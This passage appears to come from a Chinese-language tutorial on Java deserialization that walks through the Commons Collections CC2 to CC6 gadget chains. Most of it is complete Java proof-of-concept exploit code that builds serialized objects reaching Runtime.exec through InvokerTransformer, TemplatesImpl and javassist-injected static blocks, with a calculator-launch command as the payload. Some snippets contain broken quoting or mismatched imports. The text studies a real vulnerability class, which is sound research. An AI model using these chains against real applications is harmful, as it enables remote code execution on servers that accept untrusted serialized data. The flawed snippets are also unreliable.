上面的代码生成的class文件是这样的：
通过代码结合生成的class来理解就好了，十分简单。
**利用链分析**
后半段链和cc1差不多，所以这里可以正向分析，从readObject来学习整条链。
PriorityQueue#readObject：
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
queue = new Object[size];
// Read in all elements.
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
这里的queue[i]的值是由readObject得到的，也就是说在writeObject处写入了对应的内容：
private void writeObject(java.io.ObjectOutputStream s)
throws java.io.IOException{
// Write out element count, and any hidden stuff
s.defaultWriteObject();
// Write out array length, for compatibility with 1.5 version
s.writeInt(Math.max(2, size + 1));
// Write out all elements in the "proper order".
for (int i = 0; i < size; i++)
s.writeObject(queue[i]);
}
也就是说我们可以通过反射来设置queue[i]的值来达到控制queue[i]内容的目的。
在readObject处调用了heapify：
这里的queue[i]是我们可控的。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown：
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
这里的x是我们可控的，跟入第一个siftDownUsingComparator：
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
重点：
comparator.compare(x, (E) c)
这里的x是我们可控的，cc2中使用了TransformingComparator#compare来触发后续链，看一下这个方法：
可以发现，这里对this.transformer调用了transform方法，如果这个this.transformer可控的话，就可以触发cc1中的后半段链。
从上图可以看出，this.transformer并没有被static或transient修饰，所以是我们可控的。
构造POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
这个poc延用了cc1的后半段链，直接在最后触发了ChainedTransformer#transform方法导致rce。但是cc2在yso中的poc并不是这个，而是用到了一个新的点TemplatesImpl。
* 一些细节的问题
1.为什么这里要put两个值进去?
这里往queue中put两个值，是为了让其size>1，只有size>1才能使的i>0，才能进入siftDown这个方法中，完成后面的链。
2.这里为什么要在add之后才通过反射修改comparator的值?
add调用了offer方法：
offer方法中调用了siftUp方法：
这里需要保证comparator的值为null，才能够正常的添加元素进queue，如果我们在add之前使comparator为我们构造好的TransformingComparator，就会报这么一个错误：
我们回过头来看看javassit：
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.makeClass("Cat");
String cmd = "System.out.println("evil code");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
// 写入.class 文件
cc.writeFile();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
}
上面这段代码中生成的class是这样的：
这里的static语句块会在创建类实例的时候执行。
回到TemplatesImpl这个类中：
在其newTransformer中调用了getTransletInstance方法：
重点代码即我圈起来的两行代码，首先先跟进defineTransletClasses方法：
这里通过loader.defineClass的方式将bytecodes还原为Class，接着在外面又调用了_class[_transletIndex].newInstance方法实例化还原的Class。此时static语句块成功执行。
也就是说，我们可以通过TemplatesImpl#newTransformer方法来执行恶意类的static语句块。
Demo：
import javassist.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.ClassLoader;
import java.lang.reflect.Field;
public class javassit_test {
public static void createPseson() throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name" + System.nanoTime());
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
public static void main(String[] args) {
try {
createPseson();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
此时已经可以成功执行命令了，接下来就是需要找到一个点调用了newTransformer这个方法。
前面说了，我们已经可以执行到transform方法了，那么我们可以通过InvokerTransformer#transform的反射来调用TemplatesImpl#newtransformer，达到命令执行的目的。
完整POC：
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class cc2 {
public static void main(String[] args) throws Exception {
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
* 一些细节问题
这里我从poc的上半段到下半段，把一些细节问题梳理一下。
1.为什么要设置恶意类的父类为AbstractTranslet?
这是因为在defineTransletClasses这个方法中存在一个判断：
我们需要令_transletIndex为i，此时的i为0，默认状态下_transletIndex的值为-1，而如果_transletIndex的值小于0，就会抛出异常：
这里我们也不能通过反射的方式来设置_transletIndex的值，因为还是会进入到_auxClasses方法中，此方法会报出错误，我们依旧无法正常的序列化。
2.为什么要设置_name、_class、两个属性，其值对应的意义是什么？
首先如果要进入defineTransletClasses，需要满足这两个条件：
所以_name需要设置为任意不为null的值，而_class需要设置为null。
3.为什么要通过反射的方式来设置queue的值，而不能直接add？
这是因为在put的时候会将后一个元素与前一个元素进行比较，而templates是一个类，他和数字1无法进行比较，所以这里会报错。同样的，如果传入一个对象和另外一个对象，两者也无法进行比较，都会报出如下错误：
所以需要通过反射的方式来对queue的值进行设置。
4.为什么要修改queue数组的第一个值为TemplatesImpl?
是因为在调用compare方法的时候，传递了一个obj1进去：
通过cc1的学习我们知道，InvokerTransformer调用方法是基于你传递进来的类来进行调用的，所以这里的obj1需要设置为TemplatesImpl，而这个obj1是从这里来的：
所以我们需要控制这个c，而这个c是从queue中取出来的，所以在这里我们需要设置queue中第一个值为TemplatesImpl，为什么不能设置为第二个呢？是因为调用compare时，会先对第一个进行调用，如果我们设置TemplatesImpl在第二个位置，则会报出1没有newTransformer方法的错误：
5.为什么要通过反射的方式修改size?
这个在前面说过了，size必须要大于2，而我们这里并没有调用put方法，所以size默认是为0的，当然还有一种办法，就是先调用两次put，put正常的值进，再修改queue数组，这两种办法的实现原理是一样的。
**我认为的利用链**
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
### Commons Collections 3
利用环境：
* jdk1.7
* Commons Collections 3.1
**利用链**
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
**利用链分析**
cc3更像是cc1+cc2的结合体，然后稍微变种了一下。。
cc2里说了，我们需要通过TemplatesImpl#newTransformer来实现命令执行，在cc2里使用的是InvokerTransformer来反射调用newTransformer。而cc3中则是通过TrAXFilter这个类的构造方法来调用newTransformer。
在cc3中引入了一个新的InstantiateTransformer，以下是他的transform方法：
可以发现这里创建了类实例，如果我们把input设置为TrAXFilter，那么就会在这里实例化的时候调用其构造方法，触发TemplatesImpl#newTransformer。
构造POC：
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class cc3 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
这个poc看起来应该就不会有前面那么费劲了，因为cc3实际上就只是cc1和cc2的杂交变种。相当于cc1的前半段链结合cc3的后半段链，中间transformer这里稍微改了一下触发方式而已。
### Commons Collections 4
测试环境：
* jdk1.7
* Commons Collections 4.0
**利用链**
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
**利用链分析**
cc4也没什么新的东西，实际上算是cc2和cc3的杂交体。。
cc3前半段用的是cc1的，在cc4里稍微改了一下，前半段换成cc2的了。。
POC：
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class cc4 {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec("open /System/Applications/Calculator.app");";
// 创建 static 代码块，并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet，避免报错
// 写入.class 文件
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
// 进入 defineTransletClasses() 方法需要的条件
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator comparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc4"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc4"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
### Commons Collections 5
测试环境：
* jdk 1.7
* Commons Collections 3.1
**利用链**
/*
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
*/
/*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
**利用链分析**
cc5的后半段与cc1相同，所以先把cc1的内容抄下来：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc1中说了，这里只要调用LazyMap#get并且传递任意内容即可触发后续的链达到rce的目的。
在cc5中用到的是TiedMapEntry中的toString方法：
public String toString() {
return this.getKey() + "=" + this.getValue();
}
跟进getValue方法：
public V getValue() {
return this.map.get(this.key);
}
可以发现这里对this.map调用了get方法，并将key传递进去，所以这里只需要令map为我们前面构造好的LazyMap，即可触发rce。
从上图中的定义可以发现，map以及key都是我们可控的，构造POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.toString();
}
}
上面的代码即可实现任意命令执行，接下来我们需要找哪里调用了toString方法，在cc5中使用了BadAttributeValueExpException这个类。
BadAttributeValueExpException#readObject：
看看这个valObj是从哪里来的：
不难发现，这里是从Filed中取出来的，那么利用方式也就很清晰了，通过反射来设置BadAttributeValueExpException中val的值为TiedMapEntry即可触发命令执行。
POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
public class cc5 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
BadAttributeValueExpException poc = new BadAttributeValueExpException(1);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(poc,tiedmap);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5"));
outputStream.writeObject(poc);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc5"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
下面解释一些细节的问题：
* 为什么创建BadAttributeValueExpException实例时不直接将构造好的TiedMapEntry传进去而要通过反射来修改val的值？
以下为BadAttributeValueExpException的构造方法：
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
可以发现，如果我们直接将前面构造好的TiedMapEntry传进去，在这里就会触发toString，从而导致rce。此时val的值为UNIXProcess，这是不可以被反序列化的，所以我们需要在不触发rce的前提，将val设置为构造好的TiedMapEntry。否则就会报出下边的错误：
### Commons Collections 6
测试环境：
* jdk 1.7
* Commons Collections 3.1
**利用链**
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
...
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
*/
**利用链分析**
cc6的后半段链也和cc1是一样的，老规矩，我们先把cc1后半段的payload抄下来：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
public class cc6 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
}
}
在cc5，通过对TiedMapEntry#toString方法的调用，触发了TiedMapEntry#getValue，从而触发了LazyMap#get完成后半段的调用。
而在cc6中则是通过TiedMapEntry#hashCode触发对TiedMapEntry#getValue的调用：
那么poc就是如下这样的：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.util.HashMap;
public class cc6 {
public static void main(String[] args){
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
TiedMapEntry tiedmap = new TiedMapEntry(map,123);
tiedmap.hashCode();
}
}
接着就需要找哪里触发了hashCode，cc6中使用的是HashMap#hash：
这里的k目前还不是我们可控的，所以需要找某个点调用了hash方法，并且传递的参数是我们可控的，这里用到了HashMap#put：
然而这里的key还是不是我们可控的，所以还需要找某个点调用了put方法，并且传递的第一个参数是我们可控的，最后找到了HashSet#readObject：
这里调用了map.put，其中map可以控制为HashMap，而传入的第一个参数e是用readObject取出来的，那么对应的我们就看看writeObject怎么写的：
情况很清晰明了了，我们需要控制传入map的keySet返回结果来控制变量。
POC：
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
public class cc6 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
